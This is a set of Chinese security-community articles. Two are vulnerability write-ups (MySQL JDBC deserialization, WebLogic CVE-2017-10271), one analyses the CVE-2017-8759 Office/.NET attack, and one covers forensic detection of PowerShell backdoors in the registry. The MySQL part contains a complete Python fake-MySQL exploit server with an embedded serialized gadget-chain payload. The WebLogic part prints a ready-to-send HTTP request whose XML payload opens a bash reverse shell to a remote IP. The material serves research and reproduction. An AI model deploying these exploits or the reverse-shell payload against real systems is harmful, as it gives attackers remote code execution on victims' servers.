上面的代码把一个Car对象输出到了文件中.我们看一下文件的字节内容.
可以看到我们序列化后的对象前两个字节分别是`-84`和`-19` .这个是java对象的一个标识，后面会用到这两个数字.
### 原理分析
根据原作者的思路去分析他是如何去挖掘这个漏洞的.
* 反序列化漏洞，那就需要可以解析我们传过来的恶意对象.而不是把我们传输过来的当做字节数据处理. 所以需要找到一个可以 **readObject** 的地方
1.于是作者在这里盯上了`com.mysql.cj.jdbc.result.ResultSetImpl.getObject()`.
主要看其中重要的逻辑代码，对源代码进行了部分删减.
public Object getObject(int columnIndex) throws SQLException {
Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
//判断数据是不是blob或者二进制数据
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
//获取连接属性的autoDeserialize是否为true
if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;
//data长度大于等于2是为了下一个判断.
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
//上面已经分析过了,就是识别是不是序列化后的对象
// Serialized object?
//下面就是反序列化对象了.
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
}
}
}
return obj;
}
return data;
}
..............
1. 现在就是找调用 `getObject`的地方了.作者找到了
`com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues()`方法。
`ServerStatusDiffInterceptor`是一个拦截器，在JDBC
URL中设定属性queryInterceptors为`ServerStatusDiffInterceptor`时，执行查询语句会调用拦截器的preProcess和postProcess方法，进而通过上述调用链最终调用`getObject()`方法。
在JDBC连接数据库的过程中，会调用`SHOW SESSION
STATUS`去查询，然后对结果进行处理的时候会调用`resultSetToMap`.跟进去.
这里还需要关注一个点getObject的columnindex的值，感谢fnmsd的提醒。这个值会在后面用到。
到这里我们已经找到了一个利用链了.设置拦截器，然后进入到getObject，在getObject中，只要`autoDeserialize`
为True.就可以进入到最后readObject中.
这也是POC中的`queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true`的由来.
### 复现
> 刚开始一直用别人现成的POC，结果一直出错。老大问我看懂了没有，我说看懂了，就是调试不通过.
> 老大说我没看懂，自己只是在做一件事情，就是用别人东西试了一下，复现成功了，就觉得自己会了.但是你没会，你只是在无用功.
#### 复现的思路
在JDBC连接MySQL的过程中，执行了`SHOW SESSION
STATUS`语句.我们返回的结果需要是一个恶意的对象.那就是说我们需要自己写一个假的MYSQL服务.
这里就会有两种写法1.根据MYSQL的协议去写服务器. 2.抓包，模拟发包过程.
我这里选择使用第二种方法.(因为比较简单，后面发现还是要看mysql协议)
#### 数据包分析
1. 抓包，因为我使用的是本地的MYSQL，所以抓包需要使用`npcap`.因为默认的wireshark使用的是`winpcap`，它不会抓取`本地环回`的数据包
安装好以后.如下图所示，就可以抓取本地环回包了.
编写简单的测试用例，保证可以连接本地的数据库
public static void main(String[] args) throws Exception{
String Driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/security?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
Class.forName(Driver);
Connection conn = DriverManager.getConnection(DB_URL,"root","root");
}
}
图中标记的`No`为62的包就是`show session status`，也就是我们一共需要关注前面10个数据包的内容
使用`tcp.port ==3306 && mysql` 来过滤协议
这里面最难得应该是最后一个数据包的编写了，前面都可以直接按流量包总的数据直接抄过来的。
1. 分析数据包
先看一个简单的`Response OK`数据包.
所以`Response OK`的数据包内容，我们只需要发送`0700000200000002000000`
`No.44`是一个问候报文。
我们直接把数据发送过去就行。
#### show session status响应包的编写.
刚开始觉得是不需要了解MYSQL私有协议的，结果我错了。如果要自己编写POC，还是要看得懂的。这里会简单分析一下。
从流量中可以看出来`show session status`属于 **request Query**
报文。对于查询数据包的响应包可以分为四种：错误包（ERR Packet）、正确包（OK Packet）、
Protocol::LOCAL_INFILE_Request、结果集（ProtocolText::Resultset）。我们上面看到的 **Response
OK** 数据包就是 **OK packet** 。
这一部分我们主要是用的是 **结果集**
这个数据包。这里给出[官方例子](https://dev.mysql.com/doc/internals/en/protocoltext-resultset.html)
结果集响应包的结构如图所示。
上面的官方图说明了一个结果集响应包的结构。
* 数据段1：说明下面的结果集有多少列
* 数据段2：列的定义
* 数据段3： EOF 包
* 数据段4：行数据。
数据段的结构也是相似的。 长度（3字节） 序号（1字节） 协议数据（不同协议，数据不同）
1. 数据段1就可以写成`01 00 00 01 02` 前三字节表示数据长度为1，sequence id为1，最后一字节02表示有两列（因为尝试写一列无法正常运行）
2. 数据段2列的定义就比较复杂了。拿我写好的数据直接分析吧`1a000002036465660001630163016301630c3f00ffff0000fcffff000000`
1a 00 00 //3字节表示长度（这个长度说的是协议的内容长度，不包括序号那一字节）
02 //序号 因为是第二个数据字段
03646566 // 这个就是def的意思。
00 //schema 协议因为不使用就用00
01 63 //table 因为我们使用列数据，就不需要名字了，下面几个都是任意字符。字符串第一字节是用来说明长度的。
01 63 //org_table 01表示1字节，63是数据
0163 //name
0163 //org_name
0c filler // length of the following fields 总是0x0c
3f00 //characterset 字符编码 003f是binary
ffff0000 column_length //允许数据最大长度，就是我们行数据的最大长度。ffff
fc //column_type 这一列数据类型 fc表示blob
9000 //flags 9000用的官方的 poc可以运行。 看fnmsd的要大于128好像。
00 //decimals
0000 //filler_2
3. 我的POC没有写 EOF包，不知道为什么加上就无法复现成功。（希望有人解答）
4. 数据字段4就是POC了。POC其实和上面一样的。计算出长度（3字节）序号（1字节）行数据（行数据第一个字节是数据的长度）
5. POC使用ysoserial 。 `java -jar ysoserial [common7那个] "calc" > a`
有了上面的只是再去看别人的POC就很简单了。
#### POC
# -*- coding:utf-8 -*- #@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
//file文件的内容使用ysoserial生成的 使用规则 java -jar ysoserial [common7那个] "calc" > a
file= r'a'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢？？
//获取payload
payload_content=get_payload_content()
//计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
//计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3309
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
JDBCclient
public class JdbcClient {
public static void main(String[] args) throws Exception{
String driver = "com.mysql.cj.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3309/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";//8.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}
}
### 参考链接
特别感谢fnmsd对我的帮助。第二个参考链接就是fnmsd的原文。
1. [原文](https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf)
2. [fnmsd的分析文章](https://blog.csdn.net/fnmsd/article/details/106232092)
3. [MySQL JDBC 客户端反序列化漏洞](https://paper.seebug.org/1227/#sql_1)
4. [链接]() | 社区文章 |
# 【漏洞预警】一个换行符引发的奥斯卡0day漏洞(CVE-2017-8759)重现——最新的Office高级威胁攻击预警
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**背景**
****
近日，360集团核心安全事业部分析团队发现一个新型的Office文档高级威胁攻击，攻击使用了9月12日补丁刚修复的 **.NET Framework**
漏洞，该漏洞在野外被利用时为0day状态，用户打开恶意的Office文档就会中招。该漏洞的技术原理和今年黑客“奥斯卡”Pwnie Awards上的
**最佳客户端漏洞** （ **CVE-2017-0199**
）如出一辙，不同的是，这次黑客在Offcie文档中嵌入新的Moniker对象，利用的是.net库漏洞，在Office文档中加载执行远程的恶意.NET代码，而整个漏洞的罪魁祸首竞是.NET
Framework **一个换行符处理失误** 。
**攻击影响分析**
通过对一系列野外利用样本的服务器文件时间进行追踪分析，我们有理由相信该漏洞的野外利用时间出现时间为2017年8月16日甚至更早，该漏洞在野利用时为0day漏洞状态，目前微软已经紧急发布.net框架补丁修复漏洞。
该漏洞影响 **所有主流的.NET Framework版本**
。由于主流的windows操作系统都默认内置了.net框架，黑客通过office文档嵌入远程的恶意.net代码进行攻击，所有的windows系统及安装了office办公软件的用户都会受到影响。目前该漏洞的细节已经在国外小范围公布，攻击可能会呈泛滥趋势。
Microsoft .NET Framework 4.6.2
Microsoft .NET Framework 4.6.1
Microsoft .NET Framework 3.5.1
Microsoft .NET Framework 4.7
Microsoft .NET Framework 4.6
Microsoft .NET Framework 4.5.2
Microsoft .NET Framework 3.5
Microsoft .NET Framework 2.0 SP2
**0day漏洞关键细节分析**
****
在.net库中的SOAP WSDL 解析模块[ **IsValidUr**
l](http://referencesource.microsoft.com/System.Runtime.Remoting/R/1bd2c5d8fcea7a6b.html)函数没有正确处理包含回车换行符的情况，导致调用者函数[
**PrintClientProxy**](http://referencesource.microsoft.com/System.Runtime.Remoting/R/912eac956e45baaf.html)存在代码注入执行漏洞。
调用者函数截图如下
正常情况下当返回的文件中包含多个soap:address location时PrintClientProxy函数生成的代码只有第一行是有效的，其余行为注释。
但是该部分代码没有考虑soap:address location内容有可能存在换行符，导致注释指令“//”只对第一行生效，其余代码则作为有效代码正常执行。
恶意样本会构造如下图输入的soap xml数据
由于存在漏洞的解析库对soap xml数据中的换行符处理失误，csc.exe会编译其注入的.net代码运行
**样本漏洞攻击流程分析**
下面我们摘取该漏洞的某个野外利用样本进行分析
，该漏洞的真实文档格式为rtf，样本利用了cve-2017-0199一样的objupdate对象更新机制，使用SOAP
Moniker从远程服务器拉取一个SOAP XML文件，指定 .net库的SOAP WSDL模块解析。
漏洞的完整执行流如下：
**样本攻击脚本荷载分析**
恶意的soap xml文件被拉取到本地后，SOAP WSDL 库解析漏洞触发，csc.exe会自动编译执行其中的.net代码。
该代码使用System.Diagnostics.Process.Start接口调用mshta.exe加载远程的hta脚本执行.
恶意hta脚本嵌入在一个db后缀的二进制流文件中，起到了一定的混淆伪装作用。
最终，该样本会利用powershell下载运行伪装成offcie补丁文件名的PE荷载。
**样本PE荷载简要分析**
通过对PE荷载的分析，我们发现该样本该样本使用了重度混淆的代码和虚拟机技术专门阻止研究人员分析，该虚拟机加密框架较复杂，大致流程如下。
最终我们确定该样本属于FINSPY木马的变种，该木马最早出自英国间谍软件公司Gamma
，可以窃取键盘输入信息、Skype对话、利用对方的网络摄像头进行视频监控等。该样本被爆出过的控制界面：
**总结及防护建议**
从2017年初至今，黑客针对广大用户日常必用办公软件进行的0day漏洞攻击呈增长趋势，安全漏洞类型趋向于CVE-2017-0199和CVE-2017-8759这样能够稳定组装利用的逻辑漏洞，使黑客的攻击成本大大缩减，相关的0day漏洞利用容易大规模传播泛滥。针对该漏洞的攻击样本，360安全卫士已在第一时间跟进查杀，请广大用户近期不要打开来路不明的office文档，同时相关单位也需要警惕此类0day漏洞的定向攻击，并使用360安全卫士安装漏洞补丁和防御可能的漏洞攻击。 | 社区文章 |
# 注册表中的PowerShell后门分析
|
##### 译文声明
本文是翻译文章
原文地址：<https://az4n6.blogspot.com/2018/06/malicious-powershell-in-registry.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
大家好，这是我关于恶意PowerShell脚本系列文章的第二部分。我的[第一篇](http://az4n6.blogspot.com/2017/10/finding-and-decoding-malicious.html)文章介绍了如何在系统事件日志中查找恶意的PowerShell脚本以及如何解码它们。在这篇文章中，我将讨论恶意PowerShell脚本可能隐藏的另一个位置——注册表。
## 分析
注册表是攻击者建立持久访问的好地方。常用的位置是位于软件配置单元或用户的`ntuser.dat`配置单元中的运行密钥。有关运行密钥的列表，请查看[Forensic
Wiki](https://www.forensicswiki.org/wiki/Windows_Registry#Run_keys)。
我以前见过攻击者在Run键中使用PowerShell来调用包含另一个包含payload的base64代码。
让我们看看这个例子。使用Eric
Zimmerman的[注册表资源管理器](https://ericzimmerman.github.io/)，我打开以下注册表项：`HKLMSoftwareMicrosoftWindowsCurrentVersionRun`。在“hztGpoWa”值的下面，进行以下输入：你也可以使用Harlan的[RegRipper](https://github.com/keydet89/RegRipper2.8)的
`soft_run`插件来获取这些信息：
`rip.exe -r SOFTWARE -p soft_run`
**输出:**
( 对于NTUSER.DAT配置单元，使用user_run插件）
那么这个命令是做什么的？`％COMSPEC％`是`cmd.exe`的系统变量。使用cmd.exe在隐藏窗口中启动PowerShell。然后它使用PowerShell命令`“Get-Item”`获取另一个注册表项——`HKLM：Software4MX64uqR`和该项下的`Dp8m09KD`值。
查看HKLM：注册表资源管理器中的`Software4MX64uqR`键显示为一大段base64：另一种从注册表中获取像这样base64的方法是使用[RegRipper](https://github.com/keydet89/RegRipper2.8)的“sizes”插件。这将在注册表配置单元中搜索超过特定阈值的值并将其转储出去：
` rip.exe -r SOFTWARE -p sizes`
要查看如何解码这个base64的详细步骤，请查看我之前关于解码恶意PowerShell脚本的博客[文章](http://az4n6.blogspot.com/2017/10/finding-and-decoding-malicious.html)。
以下是对其进行解码的步骤：
1.在注册表项中解码unicode base64。
2.解码和解压（gzip）嵌入式base64 。
3.解码另一组嵌入式base64。
4.payload = shellcode。
5.尝试在shellcode上运行scdb.exe或字符串以获取IP地址和端口
生成的代码通常是建立Meterpreter反向外壳的一种方法。在注册表中查找恶意PowerShell实例的另一种方法是在注册表中搜索`“％COMSPEC％”`。我使用
Registry
Explorer和它的方便查找命令来做到这一点。确保并选择正确的“搜索”框：虽然此示例展示了一些随机名称的注册表项和值，但情况并总是这样。因为这些名称是可以根据攻击者修改，并且它们不会像随机名称那样显而易见。对于我的示例，我使用Metasploit在注册表中安装此持久性机制。检查所有可用的选项。如上所述，注册表项/值名称可以设置为任何内容：我的下一篇文章将介绍PowerShell日志记录和从内存中提取信息。 | 社区文章 |
# CVE-2017-10271——WebLogic-Xml反序列化初探
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、原理
### （一）概述
WebLogic对POST类型的XML请求未做有效的过滤防范，导致了XMLDecoder反序列化漏洞。
### （二）CVE-2017-10271
CVE-2017-10271与CVE-2017-3506的漏洞原理是一样的，即WebLogic对恶意的XML请求防范的不够严密。
### （三）原理
**1.原理**
和之前接触过的php的xml注入有点像，
根本成因在于没有对输入的xml做有效的过滤，导致了任意代码执行，故整个流程涉及到两个部分，一是我们输入的xml是怎么进入到反序列化点的，二是payload在反序列化点是怎么导致任意代码执行的。
**2.payload**
网上流传的payload如下，
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.43.64:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.43.171/6666 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
## 二、调试
### （一）环境搭建
可以直接使用vulhub的docker进行搭建，这里还是推荐这个良心博客，
[IDEA+docker，进行远程漏洞调试（weblogic） – ph4nt0mer –
博客园](https://www.cnblogs.com/ph4nt0mer/archive/2019/10/31/11772709.html)
### （二）复现
burp拦截包，改之，
成功执行，得到反向shell。
### （三）调试
先上完整调用栈，比较深，人为分成几个部分，
readObject:206, XMLDecoder (java.beans)
readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
readHeaderOld:107, WorkContextTube (weblogic.wsee.jaxws.workcontext)
processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
__doRun:866, Fiber (com.sun.xml.ws.api.pipe)
_doRun:815, Fiber (com.sun.xml.ws.api.pipe)
doRun:778, Fiber (com.sun.xml.ws.api.pipe)
runSync:680, Fiber (com.sun.xml.ws.api.pipe)
process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
post:336, HttpServletAdapter (weblogic.wsee.jaxws)
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)
**1.readObj缘何引发命令执行？**
这一小节需要关注的是调用readObject时发生了什么，但也这里不会研究的特别深入，只简单的看下关键点，调用栈的前三段（即怎么进入的readObject）放到下一小节。
先简单看下Java中xml的结构，来个简单的demo，
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.util.HashMap;
public class DemoOut {
public static void main(String[] args) throws FileNotFoundException {
HashMap<Object, Object> map = new HashMap<>();
map.put("arr", new String[3]);
XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("demo.xml")));
e.writeObject(map);
e.close();
}
}
得到的demo.xml如下，
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<object class="java.util.HashMap">
<void method="put">
<string>arr</string>
<array class="java.lang.String" length="3"/>
</void>
</object>
</java>
这其中，object标签表示对象；void标签表示函数调用、赋值等操作， 里面的method 属性指定方法名称； array标签表示数组，
里面的class属性指定具体类。
我们再来读取一下这个xml文件，
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class DemoIn {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("demo.xml")));
Object demo = d.readObject();
d.close();
}
}
我们在调试的过程中，可以看到以下两个比较有价值的过程点，
一是此处生成一个表达式对象，其中会调用HashMap的put将arr给put进去，
最终反序列化恢复成为一个我们最开始构建的对象，
我们可以想象，此处的void标签可以表示HashMap对象的put()函数的调用，也应该可以标识其它类的其它函数的调用。
比如，如果我们将demo.xml中的对象由HashMap改为可以执行命令的函数，再赋予适当的参数，就有可能执行恶意功能。
有如下这般xml一个，
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
再执行刚才的java，
可以看到calc已经被执行。
我们在刚才的Expression处下断，
当执行完create()之后，即会弹出计算器。
**2.数据怎样进入readObject？**
前面我们看到，如果未对传入readObject的xml做过滤，就有可能引发命令执行。下面我们结合调用栈，看一下我们构造好的恶意数据能否绕过可能的防护，进入readObject。
**(1)handle到process**
首先是WLSServletAdapter.handle(),
查看该函数，
通过payload
可以看出，我们发的是post类型的包，这里直接走到最下面的super.handle()，即ServletAdapter.handle()，
其中又调用了它的super.handle()，即HttpAdapter.handle(),
其中的createConnection()用于创建server applet连接，这只是一个常规的流程而已，略过，
跟进HttpAdapter.handle(),
这里同样会越过if，下面的几行都是些常规流程，我们要关注的是我们发送的数据包（中的payload）在Server端的处理流程，
看到这里，
HttpToolkit会调用handle()，
这里可以猜测，ToolKit的作用是将我们发过来的数据包转化成Java中可以接受处理的Java对象，
这里看到，
packet = HttpAdapter.this.decodePacket(con, this.codec);
这一行的意义比较明显，从函数名即可看出，是解码数据包的，其中很有可能有重要的操作，而且我们需要关注它来确认我们的数据包（其实主要是payload）是否被传了进来，
查看codec，发现是个text/xml类型的数据包，
跟进HttpToolkit.decodePacket()，
可以看到，其中多为赋值操作（可以关注下InputStream in =
con.getInput();），这一部分是对数据包的解析，也是对Java对象的初始化，
经过赋值，我们可以得到这样的一个对象，
下面的if无法进入，
于是我们会进入到codec.decode(in, ct, packet);（同时我们看到，执行完这一步就会return
packet，即解析好的Java对象），
此时的in如下，
可以看到，其buf字段即为我们的payload，
继续跟进SOAPBindingCodec.decode()，
向下跟进几步，
最终进入到this.xmlSoapCodec.decode(in, contentType, packet);处
进入到StreamSOAPCodec.decode()，
跟进重载函数，
